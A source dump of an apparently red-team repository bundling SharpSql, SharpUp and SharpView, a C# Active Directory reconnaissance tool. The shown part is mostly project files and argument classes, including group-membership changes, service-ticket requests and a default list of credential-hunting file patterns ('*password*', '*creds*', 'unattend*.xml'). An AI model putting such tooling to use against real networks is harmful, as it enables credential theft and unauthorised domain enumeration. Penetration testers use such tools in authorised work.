-------------------------------------------------------------------------------- /SharpSql/.vs/SharpSql/v15/Server/sqlite3/db.lock: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lexus89/SharpPack/a85b05d62fb1c6867061c5de3f8a22532e7bae17/SharpSql/.vs/SharpSql/v15/Server/sqlite3/db.lock -------------------------------------------------------------------------------- /SharpSql/.vs/SharpSql/v15/Server/sqlite3/storage.ide: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lexus89/SharpPack/a85b05d62fb1c6867061c5de3f8a22532e7bae17/SharpSql/.vs/SharpSql/v15/Server/sqlite3/storage.ide -------------------------------------------------------------------------------- /SharpSql/SharpSql.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio 15 4 | VisualStudioVersion = 15.0.27428.2037 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "SharpSQL", "SharpSql\SharpSQL.csproj", "{B59C7741-D522-4A41-BF4D-9BADDDEBB84A}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Release|Any CPU = Release|Any CPU 12 | EndGlobalSection 13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 14 | {B59C7741-D522-4A41-BF4D-9BADDDEBB84A}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 15 | {B59C7741-D522-4A41-BF4D-9BADDDEBB84A}.Debug|Any CPU.Build.0 = Debug|Any CPU 16 | {B59C7741-D522-4A41-BF4D-9BADDDEBB84A}.Release|Any CPU.ActiveCfg = Release|Any CPU 17 | {B59C7741-D522-4A41-BF4D-9BADDDEBB84A}.Release|Any CPU.Build.0 = Release|Any CPU 18 | EndGlobalSection 19 | GlobalSection(SolutionProperties) = preSolution 20 | HideSolutionNode = FALSE 21 | EndGlobalSection 22 | GlobalSection(ExtensibilityGlobals) = postSolution 23 | SolutionGuid = {53336769-5F0E-4DB5-BCE6-7A992A6B7A51} 24 | EndGlobalSection 25 | EndGlobal 26 | -------------------------------------------------------------------------------- /SharpSql/SharpSql/App.config: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /SharpSql/SharpSql/bin/Debug/SharpSql.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lexus89/SharpPack/a85b05d62fb1c6867061c5de3f8a22532e7bae17/SharpSql/SharpSql/bin/Debug/SharpSql.exe -------------------------------------------------------------------------------- /SharpSql/SharpSql/bin/Debug/SharpSql.exe.config: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /SharpSql/SharpSql/bin/Debug/SharpSql.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lexus89/SharpPack/a85b05d62fb1c6867061c5de3f8a22532e7bae17/SharpSql/SharpSql/bin/Debug/SharpSql.pdb -------------------------------------------------------------------------------- /SharpSql/SharpSql/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lexus89/SharpPack/a85b05d62fb1c6867061c5de3f8a22532e7bae17/SharpSql/SharpSql/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache -------------------------------------------------------------------------------- /SharpSql/SharpSql/obj/Debug/SharpSql.csproj.CoreCompileInputs.cache: -------------------------------------------------------------------------------- 1 | 2a36fb1d6ac36a935140e238b5537ed54c9e9eea 2 | -------------------------------------------------------------------------------- /SharpSql/SharpSql/obj/Debug/SharpSql.csproj.FileListAbsolute.txt: -------------------------------------------------------------------------------- 1 | C:\Users\pentest\source\repos\SharpSql\SharpSql\bin\Debug\SharpSql.exe.config 2 | C:\Users\pentest\source\repos\SharpSql\SharpSql\bin\Debug\SharpSql.exe 3 | C:\Users\pentest\source\repos\SharpSql\SharpSql\bin\Debug\SharpSql.pdb 4 | C:\Users\pentest\source\repos\SharpSql\SharpSql\obj\Debug\SharpSql.csprojResolveAssemblyReference.cache 5 | C:\Users\pentest\source\repos\SharpSql\SharpSql\obj\Debug\SharpSql.csproj.CoreCompileInputs.cache 6 | C:\Users\pentest\source\repos\SharpSql\SharpSql\obj\Debug\SharpSql.exe 7 | C:\Users\pentest\source\repos\SharpSql\SharpSql\obj\Debug\SharpSql.pdb 8 | -------------------------------------------------------------------------------- /SharpSql/SharpSql/obj/Debug/SharpSql.csprojResolveAssemblyReference.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lexus89/SharpPack/a85b05d62fb1c6867061c5de3f8a22532e7bae17/SharpSql/SharpSql/obj/Debug/SharpSql.csprojResolveAssemblyReference.cache -------------------------------------------------------------------------------- /SharpSql/SharpSql/obj/Debug/SharpSql.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lexus89/SharpPack/a85b05d62fb1c6867061c5de3f8a22532e7bae17/SharpSql/SharpSql/obj/Debug/SharpSql.exe -------------------------------------------------------------------------------- /SharpSql/SharpSql/obj/Debug/SharpSql.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lexus89/SharpPack/a85b05d62fb1c6867061c5de3f8a22532e7bae17/SharpSql/SharpSql/obj/Debug/SharpSql.pdb -------------------------------------------------------------------------------- /SharpSql/SharpSql/obj/Debug/TemporaryGeneratedFile_036C0B5B-1481-4323-8D20-8F5ADCB23D92.cs: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lexus89/SharpPack/a85b05d62fb1c6867061c5de3f8a22532e7bae17/SharpSql/SharpSql/obj/Debug/TemporaryGeneratedFile_036C0B5B-1481-4323-8D20-8F5ADCB23D92.cs -------------------------------------------------------------------------------- /SharpSql/SharpSql/obj/Debug/TemporaryGeneratedFile_5937a670-0e60-4077-877b-f7221da3dda1.cs: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lexus89/SharpPack/a85b05d62fb1c6867061c5de3f8a22532e7bae17/SharpSql/SharpSql/obj/Debug/TemporaryGeneratedFile_5937a670-0e60-4077-877b-f7221da3dda1.cs -------------------------------------------------------------------------------- /SharpSql/SharpSql/obj/Debug/TemporaryGeneratedFile_E7A71F73-0F8D-4B9B-B56E-8E70B10BC5D3.cs: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lexus89/SharpPack/a85b05d62fb1c6867061c5de3f8a22532e7bae17/SharpSql/SharpSql/obj/Debug/TemporaryGeneratedFile_E7A71F73-0F8D-4B9B-B56E-8E70B10BC5D3.cs -------------------------------------------------------------------------------- /SharpUp/.gitignore: -------------------------------------------------------------------------------- 1 | .vs 2 | *.user 3 | [Dd]ebug/ 4 | [Rr]elease/ 5 | [Bb]in/ 6 | [Oo]bj/ 7 | -------------------------------------------------------------------------------- /SharpUp/SharpUp.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio 14 4 | VisualStudioVersion = 14.0.25420.1 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "SharpUp", "SharpUp\SharpUp.csproj", "{FDD654F5-5C54-4D93-BF8E-FAF11B00E3E9}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Release|Any CPU = Release|Any CPU 12 | EndGlobalSection 13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 14 | {FDD654F5-5C54-4D93-BF8E-FAF11B00E3E9}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 15 | {FDD654F5-5C54-4D93-BF8E-FAF11B00E3E9}.Debug|Any CPU.Build.0 = Debug|Any CPU 16 | {FDD654F5-5C54-4D93-BF8E-FAF11B00E3E9}.Release|Any CPU.ActiveCfg = Release|Any CPU 17 | {FDD654F5-5C54-4D93-BF8E-FAF11B00E3E9}.Release|Any CPU.Build.0 = Release|Any CPU 18 | EndGlobalSection 19 | GlobalSection(SolutionProperties) = preSolution 20 | HideSolutionNode = FALSE 21 | EndGlobalSection 22 | EndGlobal 23 | -------------------------------------------------------------------------------- /SharpUp/SharpUp/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // General Information about an assembly is controlled through the following 6 | // set of attributes. Change these attribute values to modify the information 7 | // associated with an assembly. 8 | [assembly: AssemblyTitle("SharpUp")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("SharpUp")] 13 | [assembly: AssemblyCopyright("Copyright © 2018")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Setting ComVisible to false makes the types in this assembly not visible 18 | // to COM components. If you need to access a type in this assembly from 19 | // COM, set the ComVisible attribute to true on that type. 20 | [assembly: ComVisible(false)] 21 | 22 | // The following GUID is for the ID of the typelib if this project is exposed to COM 23 | [assembly: Guid("fdd654f5-5c54-4d93-bf8e-faf11b00e3e9")] 24 | 25 | // Version information for an assembly consists of the following four values: 26 | // 27 | // Major Version 28 | // Minor Version 29 | // Build Number 30 | // Revision 31 | // 32 | // You can specify all the values or you can default the Build and Revision Numbers 33 | // by using the '*' as shown below: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /SharpView/Compiled/SharpView.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lexus89/SharpPack/a85b05d62fb1c6867061c5de3f8a22532e7bae17/SharpView/Compiled/SharpView.exe -------------------------------------------------------------------------------- /SharpView/LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2018 Tevora-Threat 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. -------------------------------------------------------------------------------- /SharpView/SharpView.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio 15 4 | VisualStudioVersion = 15.0.27703.2026 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "SharpView", "SharpView\SharpView.csproj", "{22A156EA-2623-45C7-8E50-E864D9FC44D3}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Release|Any CPU = Release|Any CPU 12 | EndGlobalSection 13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 14 | {22A156EA-2623-45C7-8E50-E864D9FC44D3}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 15 | {22A156EA-2623-45C7-8E50-E864D9FC44D3}.Debug|Any CPU.Build.0 = Debug|Any CPU 16 | {22A156EA-2623-45C7-8E50-E864D9FC44D3}.Release|Any CPU.ActiveCfg = Release|Any CPU 17 | {22A156EA-2623-45C7-8E50-E864D9FC44D3}.Release|Any CPU.Build.0 = Release|Any CPU 18 | EndGlobalSection 19 | GlobalSection(SolutionProperties) = preSolution 20 | HideSolutionNode = FALSE 21 | EndGlobalSection 22 | GlobalSection(ExtensibilityGlobals) = postSolution 23 | SolutionGuid = {C89051C4-3526-4925-9CC3-9C7E9C2DD633} 24 | EndGlobalSection 25 | EndGlobal 26 | -------------------------------------------------------------------------------- /SharpView/SharpView/App.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | -------------------------------------------------------------------------------- /SharpView/SharpView/Arguments/Args_Add_DomainGroupMember.cs: -------------------------------------------------------------------------------- 1 | using SharpView.Enums; 2 | using System; 3 | using System.Collections.Generic; 4 | using System.DirectoryServices; 5 | using System.Linq; 6 | using System.Net; 7 | using System.Text; 8 | using System.Threading.Tasks; 9 | 10 | namespace SharpView.Arguments 11 | { 12 | public class Args_Add_DomainGroupMember 13 | { 14 | public string Identity { get; set; } 15 | public string GroupName { get { return Identity; } set { Identity = value; } } 16 | public string GroupIdentity { get { return Identity; } set { Identity = value; } } 17 | 18 | public string[] Members { get; set; } 19 | public string[] MemberIdentity { get { return Members; } set { Members = value; } } 20 | public string[] Member { get { return Members; } set { Members = value; } } 21 | public string[] DistinguishedName { get { return Members; } set { Members = value; } } 22 | 23 | public string Domain { get; set; } 24 | 25 | public NetworkCredential Credential { get; set; } 26 | } 27 | } 28 | -------------------------------------------------------------------------------- /SharpView/SharpView/Arguments/Args_Add_RemoteConnection.cs: -------------------------------------------------------------------------------- 1 | using SharpView.Enums; 2 | using System; 3 | using System.Collections.Generic; 4 | using System.DirectoryServices; 5 | using System.Linq; 6 | using System.Net; 7 | using System.Text; 8 | using System.Threading.Tasks; 9 | using SharpView.Utils; 10 | 11 | namespace SharpView.Arguments 12 | { 13 | public class Args_Add_RemoteConnection 14 | { 15 | public string[] ComputerName { get; set; } 16 | public string[] HostName { get { return ComputerName; } set { ComputerName = value; } } 17 | public string[] dnshostname { get { return ComputerName; } set { ComputerName = value; } } 18 | public string[] name { get { return ComputerName; } set { ComputerName = value; } } 19 | 20 | private string[] _path; 21 | public string[] Path 22 | { 23 | get 24 | { 25 | return _path; 26 | } 27 | set 28 | { 29 | if (value != null) 30 | { 31 | foreach (var item in value) 32 | { 33 | if (!item.IsRegexMatch(@"\\\\.*\\.*")) 34 | throw new ArgumentException(@"Should be '\\\\.*\\.*' as pattern", nameof(Path)); 35 | } 36 | } 37 | _path = value; 38 | } 39 | } 40 | 41 | public NetworkCredential Credential { get; set; } 42 | } 43 | } 44 | -------------------------------------------------------------------------------- /SharpView/SharpView/Arguments/Args_ConvertFrom_SID.cs: -------------------------------------------------------------------------------- 1 | using SharpView.Enums; 2 | using System; 3 | using System.Collections.Generic; 4 | using System.Linq; 5 | using System.Net; 6 | using System.Text; 7 | using System.Threading.Tasks; 8 | 9 | namespace SharpView.Arguments 10 | { 11 | public class Args_ConvertFrom_SID 12 | { 13 | public string[] ObjectSID { get; set; } 14 | public string[] SID { get { return ObjectSID; } set { ObjectSID = value; } } 15 | 16 | public string Domain { get; set; } 17 | 18 | public string Server { get; set; } 19 | public string DomainController { get { return Server; } set { Server = value; } } 20 | 21 | public NetworkCredential Credential { get; set; } 22 | } 23 | } 24 | -------------------------------------------------------------------------------- /SharpView/SharpView/Arguments/Args_ConvertFrom_UACValue.cs: -------------------------------------------------------------------------------- 1 | using SharpView.Enums; 2 | using System; 3 | using System.Collections.Generic; 4 | using System.DirectoryServices; 5 | using System.Linq; 6 | using System.Net; 7 | using System.Text; 8 | using System.Threading.Tasks; 9 | 10 | namespace SharpView.Arguments 11 | { 12 | public class Args_ConvertFrom_UACValue 13 | { 14 | public int Value { get; set; } 15 | public int UAC { get { return Value; } set { Value = value; } } 16 | public int useraccountcontrol { get { return Value; } set { Value = value; } } 17 | 18 | public bool ShowAll { get; set; } 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /SharpView/SharpView/Arguments/Args_ConvertTo_SID.cs: -------------------------------------------------------------------------------- 1 | using SharpView.Enums; 2 | using System; 3 | using System.Collections.Generic; 4 | using System.DirectoryServices; 5 | using System.Linq; 6 | using System.Net; 7 | using System.Text; 8 | using System.Threading.Tasks; 9 | 10 | namespace SharpView.Arguments 11 | { 12 | public class Args_ConvertTo_SID 13 | { 14 | public string[] ObjectName { get; set; } 15 | public string[] Name { get { return ObjectName; } set { ObjectName = value; } } 16 | public string[] Identity { get { return ObjectName; } set { ObjectName = value; } } 17 | 18 | public string Domain { get; set; } 19 | 20 | public string Server { get; set; } 21 | public string DomainController { get { return Server; } set { Server = value; } } 22 | 23 | public NetworkCredential Credential { get; set; } 24 | } 25 | } 26 | -------------------------------------------------------------------------------- /SharpView/SharpView/Arguments/Args_Convert_ADName.cs: -------------------------------------------------------------------------------- 1 | using SharpView.Enums; 2 | using System; 3 | using System.Collections.Generic; 4 | using System.Linq; 5 | using System.Net; 6 | using System.Text; 7 | using System.Threading.Tasks; 8 | 9 | namespace SharpView.Arguments 10 | { 11 | public class Args_Convert_ADName 12 | { 13 | public string[] Identity { get; set; } 14 | public string[] Name { get { return Identity; } set { Identity = value; } } 15 | public string[] ObjectName { get { return Identity; } set { Identity = value; } } 16 | 17 | public ADSNameType? OutputType { get; set; } 18 | 19 | public string Domain { get; set; } 20 | 21 | public string Server { get; set; } 22 | public string DomainController { get { return Server; } set { Server = value; } } 23 | 24 | public NetworkCredential Credential { get; set; } 25 | } 26 | } 27 | -------------------------------------------------------------------------------- /SharpView/SharpView/Arguments/Args_Export_PowerViewCSV.cs: -------------------------------------------------------------------------------- 1 | using SharpView.Enums; 2 | using System; 3 | using System.Collections.Generic; 4 | using System.DirectoryServices; 5 | using System.Linq; 6 | using System.Net; 7 | using System.Text; 8 | using System.Threading.Tasks; 9 | 10 | namespace SharpView.Arguments 11 | { 12 | public class Args_Export_PowerViewCSV 13 | { 14 | public object[] InputObject { get; set; } 15 | 16 | public string Path { get; set; } 17 | 18 | public Char Delimiter { get; set; } = ','; 19 | 20 | public bool Append { get; set; } 21 | } 22 | } 23 | -------------------------------------------------------------------------------- /SharpView/SharpView/Arguments/Args_Find_InterestingFile.cs: -------------------------------------------------------------------------------- 1 | using SharpView.Enums; 2 | using System; 3 | using System.Collections.Generic; 4 | using System.DirectoryServices; 5 | using System.Linq; 6 | using System.Net; 7 | using System.Text; 8 | using System.Threading.Tasks; 9 | 10 | namespace SharpView.Arguments 11 | { 12 | public class Args_Find_InterestingFile 13 | { 14 | public string[] Path { get; set; } = { @".\" }; 15 | 16 | public string[] Include { get; set; } = { @"*password*", @"*sensitive*", @"*admin*", @"*login*", @"*secret*", @"unattend*.xml", @"*.vmdk", @"*creds*", @"*credential*", @"*.config" }; 17 | public string[] SearchTerms { get { return Include; } set { Include = value; } } 18 | public string[] Terms { get { return Include; } set { Include = value; } } 19 | 20 | public DateTime? LastAccessTime { get; set; } 21 | 22 | public DateTime? LastWriteTime { get; set; } 23 | 24 | public DateTime? CreationTime { get; set; } 25 | 26 | public bool OfficeDocs { get; set; } 27 | 28 | public bool FreshEXEs { get; set; } 29 | 30 | public bool ExcludeFolders { get; set; } 31 | 32 | public bool ExcludeHidden { get; set; } 33 | 34 | public bool CheckWriteAccess { get; set; } 35 | 36 | public NetworkCredential Credential { get; set; } 37 | } 38 | } 39 | -------------------------------------------------------------------------------- /SharpView/SharpView/Arguments/Args_Get_Domain.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Net; 5 | using System.Text; 6 | using System.Threading.Tasks; 7 | 8 | namespace SharpView.Arguments 9 | { 10 | public class Args_Get_Domain 11 | { 12 | public string Domain { get; set; } 13 | public NetworkCredential Credential { get; set; } 14 | } 15 | } 16 | -------------------------------------------------------------------------------- /SharpView/SharpView/Arguments/Args_Get_DomainController.cs: -------------------------------------------------------------------------------- 1 | using SharpView.Enums; 2 | using System; 3 | using System.Collections.Generic; 4 | using System.DirectoryServices; 5 | using System.Linq; 6 | using System.Net; 7 | using System.Text; 8 | using System.Threading.Tasks; 9 | 10 | namespace SharpView.Arguments 11 | { 12 | public class Args_Get_DomainController 13 | { 14 | public string Domain { get; set; } 15 | 16 | public string Server { get; set; } 17 | public string DomainController { get { return Server; } set { Server = value; } } 18 | 19 | public bool LDAP { get; set; } 20 | 21 | public NetworkCredential Credential { get; set; } 22 | } 23 | } 24 | -------------------------------------------------------------------------------- /SharpView/SharpView/Arguments/Args_Get_DomainGUIDMap.cs: -------------------------------------------------------------------------------- 1 | using SharpView.Enums; 2 | using System; 3 | using System.Collections.Generic; 4 | using System.DirectoryServices; 5 | using System.Linq; 6 | using System.Net; 7 | using System.Text; 8 | using System.Threading.Tasks; 9 | 10 | namespace SharpView.Arguments 11 | { 12 | public class Args_Get_DomainGUIDMap 13 | { 14 | public string Domain { get; set; } 15 | 16 | public string LDAPFilter { get; set; } 17 | public string Filter { get { return LDAPFilter; } set { LDAPFilter = value; } } 18 | 19 | public string Server { get; set; } 20 | public string DomainController { get { return Server; } set { Server = value; } } 21 | 22 | private int _ResultPageSize = 200; 23 | public int ResultPageSize 24 | { 25 | get { return _ResultPageSize; } 26 | set 27 | { 28 | if (value < 1 || value > 10000) throw new ArgumentOutOfRangeException("ResultPageSize"); 29 | _ResultPageSize = value; 30 | } 31 | } 32 | 33 | private int? _ServerTimeLimit; 34 | public int? ServerTimeLimit 35 | { 36 | get { return _ServerTimeLimit; } 37 | set 38 | { 39 | if (value < 1 || value > 10000) throw new ArgumentOutOfRangeException("ServerTimeLimit"); 40 | _ServerTimeLimit = value; 41 | } 42 | } 43 | 44 | public NetworkCredential Credential { get; set; } 45 | } 46 | } 47 | -------------------------------------------------------------------------------- /SharpView/SharpView/Arguments/Args_Get_DomainPolicyData.cs: -------------------------------------------------------------------------------- 1 | using SharpView.Enums; 2 | using System; 3 | using System.Collections.Generic; 4 | using System.DirectoryServices; 5 | using System.Linq; 6 | using System.Net; 7 | using System.Text; 8 | using System.Threading.Tasks; 9 | 10 | namespace SharpView.Arguments 11 | { 12 | public class Args_Get_DomainPolicyData 13 | { 14 | public string Policy { get; set; } = @"Domain"; 15 | public string Source { get { return Policy; } set { Policy = value; } } 16 | public string Name { get { return Policy; } set { Policy = value; } } 17 | 18 | public string Domain { get; set; } 19 | 20 | public string Server { get; set; } 21 | public string DomainController { get { return Server; } set { Server = value; } } 22 | 23 | private int? _ServerTimeLimit; 24 | public int? ServerTimeLimit 25 | { 26 | get { return _ServerTimeLimit; } 27 | set 28 | { 29 | if (value < 1 || value > 10000) throw new ArgumentOutOfRangeException("ServerTimeLimit"); 30 | _ServerTimeLimit = value; 31 | } 32 | } 33 | 34 | public NetworkCredential Credential { get; set; } 35 | } 36 | } 37 | -------------------------------------------------------------------------------- /SharpView/SharpView/Arguments/Args_Get_DomainSID.cs: -------------------------------------------------------------------------------- 1 | using SharpView.Enums; 2 | using System; 3 | using System.Collections.Generic; 4 | using System.DirectoryServices; 5 | using System.Linq; 6 | using System.Net; 7 | using System.Text; 8 | using System.Threading.Tasks; 9 | 10 | namespace SharpView.Arguments 11 | { 12 | public class Args_Get_DomainSID 13 | { 14 | public string Domain { get; set; } 15 | 16 | public string Server { get; set; } 17 | public string DomainController { get { return Server; } set { Server = value; } } 18 | 19 | public NetworkCredential Credential { get; set; } 20 | } 21 | } 22 | -------------------------------------------------------------------------------- /SharpView/SharpView/Arguments/Args_Get_DomainSPNTicket.cs: -------------------------------------------------------------------------------- 1 | using SharpView.Enums; 2 | using SharpView.Returns; 3 | using System; 4 | using System.Collections.Generic; 5 | using System.DirectoryServices; 6 | using System.Linq; 7 | using System.Net; 8 | using System.Text; 9 | using System.Threading.Tasks; 10 | 11 | namespace SharpView.Arguments 12 | { 13 | public class Args_Get_DomainSPNTicket 14 | { 15 | public string[] SPN { get; set; } 16 | public string[] Name { get { return SPN; } set { SPN = value; } } 17 | public string[] ServicePrincipalName { get { return SPN; } set { SPN = value; } } 18 | 19 | public LDAPProperty User { get; set; } 20 | 21 | public SPNTicketFormat OutputFormat { get; set; } 22 | 23 | public NetworkCredential Credential { get; set; } 24 | } 25 | } 26 | -------------------------------------------------------------------------------- /SharpView/SharpView/Arguments/Args_Get_DomainUserEvent.cs: -------------------------------------------------------------------------------- 1 | using SharpView.Enums; 2 | using System; 3 | using System.Collections.Generic; 4 | using System.DirectoryServices; 5 | using System.Linq; 6 | using System.Net; 7 | using System.Text; 8 | using System.Threading.Tasks; 9 | 10 | namespace SharpView.Arguments 11 | { 12 | public class Args_Get_DomainUserEvent 13 | { 14 | public string[] ComputerName { get; set; } = new[] { Environment.GetEnvironmentVariable("COMPUTERNAME") }; 15 | public string[] dnshostname { get { return ComputerName; } set { ComputerName = value; } } 16 | public string[] HostName { get { return ComputerName; } set { ComputerName = value; } } 17 | public string[] name { get { return ComputerName; } set { ComputerName = value; } } 18 | 19 | public DateTime StartTime { get; set; } = DateTime.Now.AddDays(-1); 20 | 21 | public DateTime EndTime { get; set; } = DateTime.Now; 22 | 23 | private int _MaxEvents = 5000; 24 | public int MaxEvents 25 | { 26 | get { return _MaxEvents; } 27 | set 28 | { 29 | if (value < 1 || value > 1000000) throw new ArgumentOutOfRangeException(nameof(MaxEvents)); 30 | _MaxEvents = value; 31 | } 32 | } 33 | 34 | public NetworkCredential Credential { get; set; } 35 | } 36 | } 37 | -------------------------------------------------------------------------------- /SharpView/SharpView/Arguments/Args_Get_Forest.cs: -------------------------------------------------------------------------------- 1 | using SharpView.Enums; 2 | using System; 3 | using System.Collections.Generic; 4 | using System.DirectoryServices; 5 | using System.Linq; 6 | using System.Net; 7 | using System.Text; 8 | using System.Threading.Tasks; 9 | 10 | namespace SharpView.Arguments 11 | { 12 | public class Args_Get_Forest 13 | { 14 | public string Forest { get; set; } 15 | public string Name { get { return Forest; } set { Forest = value; } } 16 | 17 | public NetworkCredential Credential { get; set; } 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /SharpView/SharpView/Arguments/Args_Get_ForestDomain.cs: -------------------------------------------------------------------------------- 1 | using SharpView.Enums; 2 | using System; 3 | using System.Collections.Generic; 4 | using System.DirectoryServices; 5 | using System.Linq; 6 | using System.Net; 7 | using System.Text; 8 | using System.Threading.Tasks; 9 | 10 | namespace SharpView.Arguments 11 | { 12 | public class Args_Get_ForestDomain 13 | { 14 | public string Forest { get; set; } 15 | 16 | public NetworkCredential Credential { get; set; } 17 | } 18 | } 19 | -------------------------------------------------------------------------------- /SharpView/SharpView/Arguments/Args_Get_ForestGlobalCatalog.cs: -------------------------------------------------------------------------------- 1 | using SharpView.Enums; 2 | using System; 3 | using System.Collections.Generic; 4 | using System.DirectoryServices; 5 | using System.Linq; 6 | using System.Net; 7 | using System.Text; 8 | using System.Threading.Tasks; 9 | 10 | namespace SharpView.Arguments 11 | { 12 | public class Args_Get_ForestGlobalCatalog 13 | { 14 | public string Forest { get; set; } 15 | 16 | public NetworkCredential Credential { get; set; } 17 | } 18 | } 19 | -------------------------------------------------------------------------------- /SharpView/SharpView/Arguments/Args_Get_GptTmpl.cs: -------------------------------------------------------------------------------- 1 | using SharpView.Enums; 2 | using System; 3 | using System.Collections.Generic; 4 | using System.DirectoryServices; 5 | using System.Linq; 6 | using System.Net; 7 | using System.Text; 8 | using System.Threading.Tasks; 9 | 10 | namespace SharpView.Arguments 11 | { 12 | public class Args_Get_GptTmpl 13 | { 14 | public string GptTmplPath { get; set; } 15 | public string gpcfilesyspath { get { return GptTmplPath; } set { GptTmplPath = value; } } 16 | public string Path { get { return GptTmplPath; } set { GptTmplPath = value; } } 17 | 18 | public NetworkCredential Credential { get; set; } 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /SharpView/SharpView/Arguments/Args_Get_GroupsXML.cs: -------------------------------------------------------------------------------- 1 | using SharpView.Enums; 2 | using System; 3 | using System.Collections.Generic; 4 | using System.DirectoryServices; 5 | using System.Linq; 6 | using System.Net; 7 | using System.Text; 8 | using System.Threading.Tasks; 9 | 10 | namespace SharpView.Arguments 11 | { 12 | public class Args_Get_GroupsXML 13 | { 14 | public string GroupsXMLPath { get; set; } 15 | public string Path { get { return GroupsXMLPath; } set { GroupsXMLPath = value; } } 16 | 17 | public NetworkCredential Credential { get; set; } 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /SharpView/SharpView/Arguments/Args_Get_IniContent.cs: -------------------------------------------------------------------------------- 1 | using SharpView.Enums; 2 | using System; 3 | using System.Collections.Generic; 4 | using System.DirectoryServices; 5 | using System.Linq; 6 | using System.Net; 7 | using System.Text; 8 | using System.Threading.Tasks; 9 | using SharpView.Utils; 10 | 11 | namespace SharpView.Arguments 12 | { 13 | public class Args_Get_IniContent 14 | { 15 | public string[] Path { get; set; } 16 | public string[] FullName { get { return Path; } set { Path = value; } } 17 | public string[] Name { get { return Path; } set { Path = value; } } 18 | 19 | public NetworkCredential Credential { get; set; } 20 | } 21 | } 22 | -------------------------------------------------------------------------------- /SharpView/SharpView/Arguments/Args_Get_NetComputerSiteName.cs: -------------------------------------------------------------------------------- 1 | using SharpView.Enums; 2 | using System; 3 | using System.Collections.Generic; 4 | using System.DirectoryServices; 5 | using System.Linq; 6 | using System.Net; 7 | using System.Text; 8 | using System.Threading.Tasks; 9 | 10 | namespace SharpView.Arguments 11 | { 12 | public class Args_Get_NetComputerSiteName 13 | { 14 | public string[] ComputerName { get; set; } = new[] { "localhost" }; 15 | public string[] HostName { get { return ComputerName; } set { ComputerName = value; } } 16 | public string[] dnshostname { get { 